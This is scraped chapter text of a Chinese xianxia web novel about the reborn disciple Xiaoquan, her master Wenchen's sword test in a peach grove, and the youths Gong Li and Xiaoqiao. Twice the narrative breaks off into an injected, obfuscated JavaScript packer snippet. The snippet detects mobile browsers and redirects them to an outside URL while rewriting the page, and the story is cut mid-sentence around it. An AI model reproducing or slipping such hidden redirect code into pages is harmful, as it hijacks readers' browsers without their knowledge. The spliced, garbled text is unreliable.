“是我又如何?你这般咄咄逼人,别人不知道还以为我做了什么罪大恶极的事。”潇泉委屈地捂住双眼,“我不过是借伞给她撑一下解暑呜呜呜……” “你你你……”宫璃不可置信地瞪大双眼,听着少女的啼哭愈发心慌,最后不得不凑近,神色紧张,“你真哭了?” 闻言,潇泉嚷得更加大声了。 旁人开始有人递来目光,宫璃手忙脚乱起来,想递出衣袖但又不好意思,“喂,你别吓我,你别哭啊。刚才我就是问问,真没有凶你。我这人说话就这样,你要是觉得难过,那、那你打我两下……” 手足无措间,一个令他寒颤的声音由远及近,“跑那么快干什么?我是会吃了你?” 宫榷冷着一张脸过来,当看清背对他们啼哭的少女时,淡怒神情微妙转变,看着弟弟一言不发。 宫璃吓得摆手,“不是不是,我没有……我只是说了两句——不对不对,我没有骂她,我只是……” 宫榷无所反应,“跟我过来。” 回头看少女已经蹲下去啜泣,宫璃心急如焚,但又不得不跟着兄长来到另一角落。 “哥,我……”宫璃欲要认真解释。 “追风之行,是哥对不住你。”宫榷说道。 “嗯?”宫璃一脸茫然,呆着不动。 宫榷嗤笑,“你怕什么?以为我会骂你欺负一个女孩子?” 宫璃:“不是,我……” “这是你自己的事情,你自己看着办。”宫榷看了一眼人群,“毕竟哄人这种事,我也做不来。” 宫璃:“可是——” 宫榷知道他要扯什么,“你是你,别人是别人,不一样。” 少年醒悟,闷闷点头。 宫榷叹一口气,说起正事,“这次过程失误,在我意料之外,否则铿锵戟绝不会落到他人之手。” 兄长自败下风,宫璃胆大起来,“我还以为是你故意安排人手拖延时间,不让我拿到铿锵戟……” 宫榷无言以对。 宫璃云淡风轻道:“其实你本来就不希望我拿到,对吗?” 宫榷没有应答。 少年站着没有动作,“没关系,我理解。” 宫榷低下头颅,“这次不算。” 宫璃舒开眉中忧愁,继续听他说道:“我不管你跟谁,但要及时回信,不然我亲自上门。你知道的,我脾气不好。” 兄长话里话外已经表明态度,宫璃难忍高兴,“嗯嗯嗯嗯,我知道了!”说着说着,欢呼雀跃地跑到潇泉她们那儿去了。 宫榷目送少年远去,忽闻熟悉声音,抬眼望去。 潇泉身边站着一位碧裙少女,面孔生极,不知从何处冒出,眼神木讷,看似脑子不太灵光。 少女貌似察觉有人在看她,往潇泉身后躲去。 宫榷微微眯眼,心生奇怪,用千里眼探看那名少女是何等资质,看见的却是一片灰雾,想再细看,又被弟弟无意挡住视线。 “金鹤君,这边有请。”有人过来客请。 按规定,仙君需留下来排榜,宫榷推脱不得,甩袍前去。很快,另一名弟子出来把百里仙君也请了进去。 石墩旁,少年踱步来去,委屈嚷嚷:“我就知道你是假哭,还在别人面前冤枉我,我明明什么都没做!” 潇泉制止,“哎哎哎你小声点,别让你哥听到,免得他以为我欺负你,不让你来青泽玩了。” 宫璃双颊气得鼓鼓,“你威胁我?我不会原谅你了。” “别生气,我是迫不得已,听我细细道来。”潇泉一本正经,“这位妹妹是我儿时玩伴,小时候磕脑袋磕坏了,不知得谁相助进仙门修作杂役混饭吃。刚才我碰见她,聊了两句,想着要不要拉到青泽山来。” 宫璃嘟囔:“那你刚刚遮遮掩掩作甚?我还以为藏着什么金子呢。” 潇泉笑笑不语。 小乔讷讷看着这名陌生少年,伸手就要摸他头发。宫璃本来就烦,无情拍开她手。小乔愣了一愣,学着他的动作拍了回去。 潇泉和宫璃皆是一愣。 潇泉:“这位妹妹什么都不懂,你可能得担待一些。她应该是在好奇你的头发为什么和她不一样。你让她好奇就是了,千万不要动手,不然就像刚才那样。” 宫璃一脸苦色,“这么奇怪的姑娘,你为何……”他忽地噤声,瞟了一眼小乔,有点后怕。 潇泉打消他的顾虑,“你放心,她听不懂人话。不过我觉得你还是不要当面说人家坏话,小心良心会痛。” “我就没良心,怎么了?”宫璃顽笑,想起方才那一幕,觉得有点不可思议,“哎,你有没有觉得她身手好像不错?适才那一拍,我都没有反应过来。” 潇泉苦笑,“你是不是想多挨两下打?” 宫璃抖抖肩膀收敛欠样,避开小乔,抱臂去别处溜达了。潇泉不敢随便走动,只在这一隅转悠,任由小乔紧随。 听周边的人说,拿到铿锵戟的是欧阳德。 潇泉不意外他会出现在此,并且获得这般出色功绩。此人只是说话没有心眼,实力还是不容置疑的,昆仑不会轻易流失任何一个天才,他多半是师父主动上门拜收的。 没多久,一众长老仙君走出竹屋,由华烨真人公布排榜结果,欧阳德第一,宫家俩弟兄第三,还算可观。潇泉和闻尘的功绩一般,排在中上。众弟子傻眼不已,低低唏嘘,连华烨真人也诧异地瞥了闻尘一眼。 闻尘一派淡定。 有人偷偷看起笑话,频频看向潇泉,咧嘴和旁人说着什么。潇泉倒没什么介意,默默坐着,任风吹拂碎发。宫璃过来安慰,“别听他们胡说,谁还没个雏鸟时期?再说不是有句话?笨鸟可以先飞!” 潇泉昂首,“我很像笨鸟?” 宫璃顿住,“我……只是举个例子嘛……” 潇泉努力压住嘴角,“我早就习惯了,不用安慰我。或许……你们百里大人才是最需要安慰的那个。” 宫璃瞪眼,“放屁,百里大人不可能这么脆弱。” 潇泉继续胡说八道:“万一呢。” 前二十名获得相应的宝贝奖赏,之后华烨真人将榜单张贴在石头上示众,作为最后的收尾。 追风之行就此落幕,潇泉等人御剑赶回青泽,到达山脚又收剑徒步。 路上没怎么清净过,宫璃喋喋不停,自说自话不够,还要凑到跟前问人问题,活泼好动,却没想过搭理新来的。 小乔目不转睛看他,看他歇停不语,还会过去扒拉他嘴巴,好奇他为什么不出声。宫璃被这双手吓得半死,赶到潇泉身边告状,“你看她你看她,老是对我动手动脚,能不能管管?男女有别啊懂不懂?” 潇泉:“马上就到家了,安心。” 要不是看在她的份上,宫璃肯定会把这名少女绑住不老实的手脚。说到这个,他特意给小乔取了一个外号“小耗子”。 潇泉无奈,“你取这么难听的外号太不厚道了,是不是欺负人家听不懂人话?” 宫璃哼道:“谁叫她总烦我,动手动脚的,还摸我衣服、头冠、辫子,跟个贼一样。” 潇泉:“现在她是不懂,时间一久便慢慢懂了。我劝你别给自己惹祸,小心她一拳把你打进墙里,拉都拉不出来。我可不救你了啊。” 宫璃咧咧表示抗议,等过了这股劲儿,自我反省确实有点不妥,没再念什么外号了。 爬到山顶,潇泉首要做的就是帮小乔找到适宜居住的房间。闻尘没有意见,让她随便挑选净香庭和客居,只有这两个地方没有限制,其他皆需门生身份。 客居条件尚可,但风水方位以及布景陈设远不如净香庭,所以潇泉带小乔来净香庭逛逛。逛了一圈,小乔仍没有满意的住处,只有路过潇泉的房间多停了一会儿,另外一个便是是宫璃房间。 没有谁能抗拒清雅富丽的寝室,窗外佳景新鲜,桃枝轻垂,风一拂便能闻到花香。小乔坐在窗前晃腿,摸着饱翠繁叶的枝桠,宫璃怎么赶都赶不走,“大姐,你坐窗台作甚?那是我采风趴懒的地方,你这样很不尊重我。” “哎!那是我从家里带回来的玉壶,你别砸碎了!” “金枝玉叶黄金白银做的,你别磕坏了,轻拿轻放!” 房中存放着贵重物品,小乔不懂钱财,容易破坏。潇泉作为收养人,身负责任。她连忙拦住小乔,把人带到自己房间的隔壁,指道:“以后你就住这儿,有事去隔壁找我。”潇泉把话和动作结合起来,以便小乔理解。 宫璃没那么耐心,“以后这儿就是你房间,别到处乱跑。还有,进别人房间记得敲门,别门都不敲就像土匪一样闯入。进去之后,不要东张西望、这摸那摸……啧,怎么跟个木鱼脑袋一样,到底在没在听?” 小乔反应不大,宫璃这才真正清楚她确实与常人不同,有点崩溃道:“姐姐,我没别的意思,我怎么感觉这位妹妹跟三岁小孩似的……甚至不如三岁小孩。带着一个没有自理能力的人在身边,你不觉得累吗?” 潇泉:“是有点累,但曾经她爹娘待我要好。如今她爹娘过世,我又恰巧遇她,不如试试带在身边。倘若她住不习惯,我再放回去。” 关于少女的真实身份,她还不敢直接坦白。少年性情纯真,知道后果懂得分寸还好,万一不小心在家人面前说漏嘴,很可能会将小乔置于危险之中。总之,少一个人知道多一分安全。 宫璃:“这都是百里大人说的?” 闻尘没有说过,最多默认。潇泉顺水推舟应道:“对啊。你家百里大人菩萨心肠,看我和她有缘就同意我带回来了。” 宫璃羡慕不已,“行啊你,有师父宠着就是好。” 潇泉略微谦虚,“哪里哪里,应该的应该的。” 想当年她养他的时候费了不少精力感情,如今趁这个机会讨要回来,不算过分,算两人扯平。 安顿好小乔,几人过了几个安宁日。潇泉经常抽空探望小乔,如果一日不去,房间便会悄悄出现一双眼睛,待到她看见为止。 潇泉想过小乔喜欢亲近自己的原因也许和小鸡认母是同一道理,但这其实不符精灵的行为习惯。精灵可以分清同类异类,能化形者更不会混淆,而且它们多数是由灵草灵树修行而成,严格来说没有亲人,不会认亲。她看不出小乔是哪类,也琢磨不出她的动机,感觉对方好似只是单纯喜欢黏着自己。 潇泉心想也许是某种缘分让两方相遇,纠结这些不再必要,当务之急是要尽快教会小乔人情世故,否则出去被坏人欺骗,这可不好。 目前她可以确认小乔还在好奇阶段,居住深山太久,对人间烟火没有足够的抵抗力。这万万不行,她先从最简单的行为开始,教导小乔穿衣梳头,尽挑柔软布料、漂亮首饰给她穿戴。如此耐心两日,小乔眼界开阔了点,很少再伸手摸人的衣服头发,顶多看两眼。 潇泉跟宫璃说的时候他还不信,后来亲自目睹,不得不信,笑道:“姐姐,你家中是不是养过小孩?” 潇泉弯起眼睛,“怎的这样说?” 宫璃大方坦言,“我看你挺会养孩子的。” 潇泉:“是啊,养过。” 宫璃一愣,小声道:“你不是孤儿?哪儿来的孩子?” 潇泉睨他一眼,哼笑一声。 宫璃目瞪口呆,“啊?啊?啊?你当妈了?!”他叫苦连天,“你才十五岁!” 潇泉哈哈拍案,“还有还有,一年抱俩。” 少年抱头惧喊:“是哪个畜生?!” 潇泉笑得不停,没说算上死时年月,自己应有四百二十余岁,不止十五。她趴在桌上,支着腰,双眼笑出薄泪,“是我生又不是你生,你惨叫什么?见鬼了?” 宫璃不笑反急,“可是、可是十五就是很小啊,明明自己还是孩子,却还要生孩子……” 见少年认真起来,潇泉赶紧稳住他心态,“骗你的,你何时见过我嘴里吐过象牙?”她慢慢恢复正色,“不过,我赞成你说的。” 看她不似撒谎,宫璃放下心来,没有埋怨她逗弄自己,追问:“那孩子是谁的?” 潇泉哭笑不得,“是邻家的一个弟弟,他们没时间养,便交由我代养,每月给钱维持我的生活。” 宫璃:“弟弟?” 潇泉一边思量一边踱步,“是啊,一个……长得十分漂亮的弟弟。他呢,性情贞烈,不苟言笑,不喜打扮,但一打扮起来,十分可人,惹人喜爱。平时不发脾气,还算温顺听话,可一发起脾气,九头牛都拉不回来……哎呀,我千盼万盼,盼了数年,他终于长大,不再需要我,我便叫他爹娘接回去了。” 宫璃不满,“咦,养了这么多年,一声招呼不打回去了?” “那倒没有。”潇泉摩挲手指回想,“他……有点黏人。” “正常,谁不黏和自己生活的人?哪怕是冷血的蛇,也该产生依赖了吧?”宫璃再问,“既然孩子长大已经认人,为何姐姐不认他作义弟、和他父母一起养育?” “毕竟要成家立业,不论我作为父母还是长辈,都该学会放手。”潇泉微微一笑,“他年纪小我很多,我收为义弟不合适。” 宫璃:“那好办啊,你直接收为义子。” 潇泉语噎,“他爹娘不可能答应,而且我养他有收钱,我跟他家是雇佣关系。” 宫璃慨叹,“好吧……后来他有找姐姐吗?” 潇泉:“找啊,不然我说他黏人干嘛?” 宫璃“噗”一声,最后结语:“真狠心。” 潇泉笑而不语。 潇洒了几日,宫璃在净香庭配合潇泉对小乔演傻子演腻了,开始怀念清净日子,坐在椅上吃一颗葡萄吐一块葡萄皮,嚼动的两腮宛若兔嘴在吃草,“这都第三天了,百里大人一个影子都没瞧见,不会是嫌我们烦吧?” 潇泉把木雕施展符术给小乔看,听见这话,回道:“有可能,毕竟你话太多了。” 宫璃闭眼享受暖阳,“怎么只能怪我一人,这不公平。我看是生你气了,乱把呆子带回家。你自己带的自己养,可别麻烦我们。” 潇泉:“稀罕。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204498|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年轻轻一笑,躺在椅上不动,青云山图折扇开成一片盖在脸上。片刻,他收扇坐起,眼睛闪亮,“要不,我们偷偷去看一下?” 潇泉扭头看他,没有回答。 夜幕降临,吾心殿一如既往宁静,灯明冷艳,只听微风沙沙。两抹身影偷偷溜进宫殿,扒拉门扉,探出脑袋往里看。 宫璃扭腰动来动去,听着上方潇泉吐声:“你是有多动症吗?” 宫璃装作耳聋,两手握着虚拳放在眼圈上,通过拳头缝隙到处望,“你看见了吗?我什么都没看见。” 潇泉保持姿势没动,“我也没看见。” 这时,上方又冒出一个头,两人齐齐抬头,发现小乔伸着脖子俯视他们,乍一看好像深夜来索命的鬼。 宫璃闭紧双眼,“你是不是没好关门?怎么让她跑出来了?” 潇泉:“人家正常生活,出来碍着你了?” “好男不跟女斗,我不跟你吵。”宫璃起身站好,拍拍两手,“吾心殿没人,百里大人应该是去文昌阁了。” 文昌阁非是只有一阁,类似一座五脏六腑俱全的小园林,可以住一小阵。 潇泉:“他会不会在忙?要不我们别打扰了。” 宫璃表示赞同。 巧也是巧,这之后的次日,几人便见吾心殿书房的方桌堆了一些书籍。早茶一过,潇泉惺忪睁眼,刚摸索下床,面前便浮现一行金字——来殿,等你。 潇泉不疾不徐洗漱完毕,行至主殿,还没行礼,闻尘便招她过去。 他敲敲案桌对面,潇泉顺意入座。案桌摆着笔墨纸砚,经书古籍整齐分放,大多书名闻所未闻,书皮页面泛黄老旧,许是他自己珍放多年的书籍。 怪不得这几天没影,原是找书去了。 潇泉有气无力转笔发呆,见闻尘看书专注,打消打扰他的想法,反正饿一顿不会死。 她随手打开一本古籍翻看,把自认为重要的地方一一列在本子上,写完半页,有人悄步进来又出去,留下一份勾人心魄的香味。 潇泉立书遮住脸庞,探头偷望,还没探个究竟,对面的人忽道:“吃饭。” 潇泉起来迈步出去,倏然回首,“你不去?” 闻尘执笔在书页画圈,“不必。” 他早睡早起,等潇泉起床,怕是已经吃完还溜达了一圈回来。不吃也无妨,登仙之人已经摆脱凡体束缚,可以辟谷修行。 用完早膳,潇泉又回来静心抄写到晌午,简单吃点东西,向闻尘拜别,回到房间打盹养神。 有闻尘作伴,这半日时光过得充实。每次沉浸学完一段时间,她都会找机会偷偷放松,有时当面趴在桌上放松被闻尘看见,他也不会说什么。可若是趴得太久,便有一股刺鼻气味扑至潇泉鼻尖,再想趴就不行了。 闻尘拿的经书古籍全部有关初期修行,如果翻到与潇泉情况相似的内容,也许就能找到适合她的修行之法。可惜翻了这么几天,毫无进展。 浪费两日光阴,闻尘似乎不再困于书籍古法,接着专注潇泉本身修行,陪她打拳练剑。等阳光西斜,穿透镂空花窗,他会让潇泉在殿内睡上一觉,然后继续。潇泉依稀记得入门剑法,但不管熟悉还是陌生,都得装傻让闻尘教,属实有点憋屈。 登仙之后,很少有施展拳脚的时候,都是以灵法佑身、法器应战。早年修习的基础功法,很多人会在流逝的时间里,慢慢遗忘在过去。她也一样。 潇泉装傻成真,忘记怎么绕步打拳,几次都没做对。闻尘手握桃枝,不停纠正她的拳头、脚步、姿势、高低等等细枝末节,这般细心忍耐,终在黄昏时分教会她一套完整又简单的拳法。 这套拳法青泽弟子皆习得成之,不需灵力加持,也可做到惊天飞人。潇泉情况特殊,不说要练得如何惊天动地,光是练成就已成功。 确认潇泉掌握拳法,闻尘抬手将桃枝飞插进青草地,立在对面。 他行动果决,潇泉有种不好的预感,但忍着没说。 四周碧树围着广场边沿形成一个巨大的圆圈,潇泉站在闻尘对面,身着宗服,赤手对阵,闻尘亦然。 两人相距二十步左右,潇泉率先出手,每脚每拳按着规矩打出。闻尘步步紧防,次次挡住拳脚,柔中带刚,将她挡在身外,不得靠近。 没有难度的切磋仿若没有灵魂。潇泉在原有的拳脚上翻身闪避,扫腿偷袭,总算给了闻尘一个小小惊喜。 闻尘错身后退,看着潇泉,一掌抓起法力,原来插在草地上的桃枝如似认主般飞回手中,再两指轻扫,一柄木剑跨过宫殿花窗飞来,奔向潇泉。 潇泉接住木剑,再看对面,闻尘一手自然垂放,一手持着桃枝,长身玉立,身影萧萧,不受外界干扰,整个人仿若扎根深地的大树,不动不摇。他褪了紫色华袍,穿着青色窄袖练功服,长发用一根素色发带扎成一团发髻,和平日清雅冷淡的气质着实不同,多了几分朝气明朗,又顶着一张年轻洁白的脸,很难看出是喜阅书爱垂钓会吹曲的两百岁仙君。 仙君样貌年轻,其实不在于修行,而是登仙年纪太轻,成仙后又降慢衰老速度,因而有种容颜永驻的错觉。 小伙子,年轻就是好,还有力气折腾师父。 木剑握着十分趁手,花纹质感细腻精巧,可见工者匠心独具。剑是好剑,潇泉心喜,只是她有点好奇,自己才学完一套拳法,便开始进修剑法,这修炼进程是不是过快了? 不知闻尘出于何种目的,眼下这情况,讨价还价够呛,还是能出手就出手吧。 潇泉吸一口气,转剑横在眼前,蓄势一套没什么章法的剑法,正面刺去。 闻尘用桃枝抵住木剑剑刃往外转,动作流畅,力度刚好,在没有打飞木剑的情况下又能很好地防御自己,倒是认真,没有看轻潇泉的废柴之身。 不看轻最好,就怕看轻了他驾驭不住。潇泉不敢保证自己会不会像上次在哀乐山那样突然自通任督二脉,跟邪祟耍起剑法来,毕竟她没有实力,只有天赋。 潇泉心中一笑,握紧剑柄,双脚轻绕,一转一闪再度进击。 闻尘侧身闪避,桃枝出手飞快,但很快又被潇泉挡回。他旋身后撤,仍然一手握枝,只是力度更紧。潇泉原地候命,看着他身轻如燕逼近,携着清风而来,微微蹙眉。 风声没有打乱潇泉的节奏,反而使她进入重生以来前所未有的紧绷状态。 桃花十六式,可攻可防的一套剑术,灵活管用,是当年她亲手教他的。 桃枝就要冲到跟前,潇泉连忙后仰,转剑抵着地面支撑身体想避开一劫,让对方扑空。闻尘没有上当,桃枝跟着潇泉避开的方向穷追不舍。 追击紧咬不放,潇泉下意识后撤一步,弃剑抬掌,五指顺着右边方向一根紧接一根轻柔张开,最后呈孔雀首状。她想凝于法力在指上、将剑式一弹溃散,但又想起自己没有法力,无法做到,怔神片刻,猛然回神。 这时闻尘已经擦身而过,背对着她,一手拿着桃枝,一手握着木剑。 潇泉屏住呼吸,咬紧牙关,没有回头。 怪不得今日反常,原来是在下套,偏偏她还中了。 余战的气息充斥着不安和死寂,那人清冷低沉的声音格外刺耳,“桃花十六式是个人独创剑法,破除之法略显独特。你刚刚用的那招,便是解法之一,孔雀鸣。” 32. 巍巍问心(贰) 望着那张百年不变的面孔,潇泉轻扯嘴角,“那不正巧证明我有修行天赋?百里师父应该欣慰才是。” 闻尘收好桃枝,“你与我一位故人很像。” 天地寂寥,无言胜似有声。潇泉静默良久,“就因为刚才那个招式?实不相瞒,弟子只是歪打正着,从没学过什么孔雀鸣。” 她学着世人那套说辞,“百里大人仙名盛世,从来都是独来独往。你说的那位故人,真是故人?” 谁没听过百里仙君惩恶扬善除魔卫道的名号,但就是这么一个人,却孑然一身百年,不常与人交流,没有挚友,更无故人。这是潇泉重生以来,听见的最多的传言。 现在她谈不上对对方了如指掌,但能凭借过往接触的印象使出应对招法。只要他亲口质问,最好明面回答,越是逃避,越落下风。反之,如果能反问他一个尖锐的问题,让他陷入自我怀疑,这是最好。不过,这很困难。 一旦被他认定嫌疑,跳进黄河洗不清。谁会平白无故当面质问?不是抓住证据就是揣着答案。 闻尘眉若化霜,浮现一丝生气。潇泉觉得扎眼,别开视线。 下一刻,潇泉被骤狂的清风蒙住双眼,脚下一空,身轻飘摇,进入到另一种熟悉环境,清淡花香沁脾,潺潺流水源源滚滚。这个地方她再熟悉不过,睁眼一看,果然是桃林。 没想到,闻尘会施法带她来此。 潇泉低着眉眼,笑道:“百里师父怎么想起带我来这儿?” 闻尘握剑的手一紧,“答你所问。” 潇泉不解,“弟子不知……问君故人,为何会牵扯这片桃林?” 闻尘脱口问道:“你当真不知?” 这句再寻常不过的问话,表面平淡如水,却好似带着几分模糊的纠缠与怨恨,潇泉分辨不清,也不愿深想。她暗悔当时自己应该果断一点,再果断一点,这样他便能忘却自己,不至于今日还在纠缠。 心底的压抑疯狂冲击着薄薄却又坚实的禁锢,有个声音不断回响:面对昔日形影不离的徒弟,她当真能做得那么果断? 潇泉压住心中情绪,缓缓开口:“那仙君觉得,我应该知道吗?” 她的确害怕被揭穿,害怕原本平静再被打破,害怕重蹈覆辙。可若对方真要与她纠缠到底,她未尝不可正面回应,算作最后的了结,之后大路朝天各自走。 这一步迟早发生,但潇泉希望可以晚点到来。至少,不应该是现在。 闻尘凝视她,没有接话。 空气似乎凝固,潇泉被怪异紧张的气氛压得快要喘不过气,主动化解尴尬,“其实这片桃林的故事我略有耳闻,可惜物是人非,无法挽回。人不能总活在过去,百里师父何不向前看?” 这个道理她已经教过他一遍,不曾想今日再次上演,且是为她。想到这里,潇泉不禁百感交集。 闻尘:“不看。” 出乎意料且不符本人的回应,潇泉不知如何作答,调整心态,让自己的表情看着不那么生硬假意,“看来此人委实对百里师父重要……师傅第一时间来桃林,想必桃林是那人常来的地方之一吧?” 闻尘没有否认。 潇泉不想把关系闹得太僵,一如往日聊天语气,“百里师父会常来桃林走走吗?” “忙,很少。”闻尘不欲多言,将木剑低到她面前。 潇泉迟疑,“这是……” 闻尘看她,“最后的修习,就在这里结束吧。” 他自小不是享福的命,手指留有几道疤痕,手心手背都很粗糙,直到九岁那年拜入师门,以修行为主,无需再奔波干活,双手才慢慢养好至今。 潇泉曾同女弟子下山买胭脂水粉哄自己开心,会顺带帮他买一小罐润霜护手。闻尘以为保养无用,不感兴趣。她觉浪费,强行捉人过来涂抹,把双手涂得干净油亮才罢休。 思绪拉回现实,潇泉接过木剑,“好。” 既然久别重逢,那为师再陪你一回。 两人有来有回交手数次,直至夕阳西下。 结束一段短暂的修行,闻尘会给潇泉几日休闲,不会突然降临。修行以外的日子,他几乎不会现身,有时潇泉找他要靠运气。 假日期间,潇泉不是随师兄师姐去镇上采买,就是在家养花养草,或是和宫璃、小乔去后山钓鱼弹琴之类,逍遥得很。 宫璃不喜欢住在斜对面的丫头,又呆又不老实,所以经常一人进进出出。净香庭找不到潇泉,他会登门拜访吾心殿。每当这时,小乔会偷偷溜在他后面,熟悉路径过后,会自己去找潇泉,有时深夜才归。 偶尔几回,潇泉拉着小乔在房间窃窃私语。宫璃很想参与,但不好意思进去,坐在门口郁闷,“为何男女总是有别……” 偷听非君子所为,不听又心痒痒,这种日子何时到头?少年腹诽。 潇泉看没人陪他,道声“可怜见的”,遂把场地挪至庭院。若非换衣梳妆,很少回屋。宫璃明了她心意,得空便出来旁听,有时还偷笑小乔的笨拙模样,被潇泉用书拍了一下才老实。 荷池青亭,几人各做姿态,抑或学书,抑或打盹。潇泉不理少年,抱着纸笔在亭中摆出一副慈师模样,挨着小乔,一笔一划教她写字,一张一翕教她说话。小乔上下启唇,口齿不清地吞吞说完,宫璃在旁边一边拍桌一边狂笑,“有意思,真是太有意思了!早知道这么好笑,我应该早点叫你俩出来哈哈哈哈哈!” 潇泉斜去犀利眼神,“很好笑?” 宫璃一下收敛,小声道:“对不起,确实很好笑。” 潇泉冷哼,一手捧书,一手负后,“你可曾听闻,众生百态,其实有几样不可取笑。” 少年望着她侧脸渐渐入迷,端正坐姿反问:“哪几样?” 潇泉放下捧书的手,“孝心、忠心、诚心、真心。”她回望少年,“除此以外,也不能取笑爱恨嗔痴、怜悯仁善、薄情寡义。” 宫璃懵懂扬眉,目露好奇,认真观听。 潇泉:“有人笑他人之恨,却不知他人因而生恨;有人笑他人薄情,却不知他人历经遭遇;薄情者不懂仁善之人施以怜悯,正如大爱者不明仇恨之人手段狠辣。世间百态,世事无常,其中因果皆有痕迹。而因万千,或喜或悲,以致结果。” 她不紧不慢说完,又觉这话枯燥,道:“打个比方。你在街上看到一个断腿的乞儿在乞讨,你想救他,但他却拂你面子,还满嘴恶言唾骂你,你会救吗?” 这个尖锐的问题使少年愣了一下,他两手交叠,迅速进入状态斟酌,“我不救,但会施舍。” 潇泉:“如果他拿东西砸你、不稀罕你的施舍呢?” 宫璃:“我施舍是我的事,他受不受是他的事。我不管他是好面子还是怎么,总之断腿乞讨,生活不易。我不会因为他的态度轻易改变我的想法举措。我哥说过,一旦决定某一事情,不论结果如何,只要无愧于心,那便坚定去做,哪怕咬牙破舌。” 潇泉微笑点头,又道:“倘若这乞讨是受过一次恩惠,结果被人戏耍,才沦落至今悲惨遭遇,你当如何?” 反转突然,少年马上改口:“那我不仅要救他,还要揪出罪魁祸首。”未了,他后知后觉,“姐姐,这便是你说的……因果?” 潇泉目落书页,“他对世人怀有恶意,是因为被人伤害过。哪怕有人无辜,也无法阻止他恶意的态度。此为因果,亦是选择。” 宫璃似懂非懂点头,接着见她转身对自己弯唇,“你是一个干净的人,被保护得很好。” 少年面色微赧,“其实我不太喜欢被保护的感觉……” 潇泉淡笑,“被束缚久了,总是向往自由。” 她倚柱而立,最后一嘴,“小乔磕头以后想不起很多,如你所说,宛若三岁孩童,但她本性善良,学书认真,真心求学,不应取笑。你听明白没?”潇泉语气平淡,“再让我听到你笑声,我就不带你玩了。” “哎呀。”宫璃总算明白她说了这么一堆道理是为何,适才认真的状态晃眼消失,应和讨好,“我就是笑一笑,没别的意思。要是姐姐觉得不妥,那我不笑了。” 潇泉:“忍不住如何?” 宫璃噎住,试探道:“那我跑回房间偷偷笑……怎样?” 潇泉叹息,不再同他讲理,开始同情闻尘,带着这么一个活宝在身边,确实热闹非凡。 教过半日,三人俱已乏累,宫璃打起精神吩咐仙侍端来三碗银耳枣汤。第一碗先给潇泉,第二碗给小乔,第三碗才给自己。 潇泉支颌微笑,“怎么突然这么好心了?” 宫璃埋头喝汤,听见这话,抬起头来,“看你辛苦不行吗?” 潇泉挑眉不应。少年撇嘴后笑道:“上次我受伤,你也给我送了吃的。” 似是特别惊讶,潇泉微微张唇,朝他竖起大拇指。 宫璃扒着碗沿眯笑,“前天百里大人是不是教你入门必学了?拳法还是剑法?姐姐觉得难不难?” 经此一提,潇泉蓦地想起那日闻尘拉她去桃林的场景,全然忘记面前等待回应的某人。 “喂喂喂,想什么呢?能不能回答我再想?”宫璃语气刻意,“难不成百里大人……训斥你了?嘶……以我对他的了解,他很少训人,训人不带脏字。要真训你了,你就像平时那样脸皮厚点,不要什么都听进去,更别找借口理由。如果借口过分,他可能会加罚。不过,百里大人愿意收你为徒,肯定自有掂量,晓得教你修行绝非易事,多半不会怪罪于你,放心放心。” 潇泉微一颔首。 宫璃停顿动作,“怎么了?有心事?” 潇泉故作思索,“我在想,虽然百里师父不常出言,但心思却细腻无比。” “这个确实。”宫璃认真回想,“我跟我哥总吵架,有次吵得特别厉害,我一路哭着回青泽。百里大人亲眼见过,什么都没说,但是把之前我一直觊觎的白狐仙子抱来给我玩了。先前我去问他,他都不准我抱,说白狐仙子是守护神庙的灵兽,青泽仅有几只,且还年幼。想要触碰,得等它们长大一点才行。” 潇泉静静聆听,“然后呢?” “然后我就跟白狐仙子玩了半日。”宫璃笑如春风,“它知我难过,舔我眼泪还舔我手,银龙也在旁边绕圈圈逗我好久。现在回想起来,难过的时候有人安慰,真是幸福。” 宫璃被骂习惯了,已经自觉形成左耳进右耳出的性子。闻尘能这么细心安慰他,定然不是寻常哭闹。 潇泉想说什么又不好直接表明,叹气道:“你已经做得很好了,不管你哥说你什么,不要在意。” 宫璃撑着下巴,目光飘远,“其实小时候我哥并不喜欢我,相反还有点厌恶。那时我还很小很小,却记下有次他看我的眼神……很冷很冰,也很陌生,我不敢靠近。我们不是同父同母的兄弟,他性情又孤傲霸道,对于我这种半路冒出来的弟弟肯定不会有好脸色。至于他是何时开始接纳我的,我记不清了……我只记得儿时他受娘亲之命照顾我的饮食起居,我被迫跟在他身边,久而久之慢慢产生依赖,总会跟在他身后,偶尔叫两声‘哥’……大概是这个时候,他开始接纳我的吧。” “我娘因为我哥父亲的问题,从小不怎么待见我哥,对我还算亲切。不过这么多年,我从没见过父亲长什么样。”少年嘴巴细细密密,神容平静,“我不敢问,也不能问。如果疑问,我无法承担后果。这是我哥说的。” 这些事情在潇泉那会儿就流言四起,不曾想今时又多了一层复杂的关系。她问:“那现在你哥和你娘是什么关系?” 宫璃琢磨道:“我……说不清。我哥登仙成尊以后,也算在仙门坐得一席之地。我娘掌管家族密事,退居幕后,把朱雀门交予我哥打理,平时待他还算客气。” 潇泉轻轻点头,没再多问。 宫璃低头须臾,抬头道:“不说这些了。明日姐姐又要开始修习了吧?早点休息为妙,已经戌时了。” “好。”潇泉坐着收拾笔墨,没有惊扰旁边昏昏欲睡的小乔。宫璃陪着坐了一会儿,等小乔懵懂睡醒,和潇泉一起拿着收拾好的东西回屋了。 潇泉照顾好小乔入睡,轻声退出房间,走出净香庭。此处离吾心殿不远,她步子不快,像散步一样到达宫口。 宫殿不变清冷,没有亮灯,也没有人。潇泉刚迈进前院的脚在反复踌躇下退了回来,转而往另一个熟悉的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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两百年的时间,差不多长这么大了。 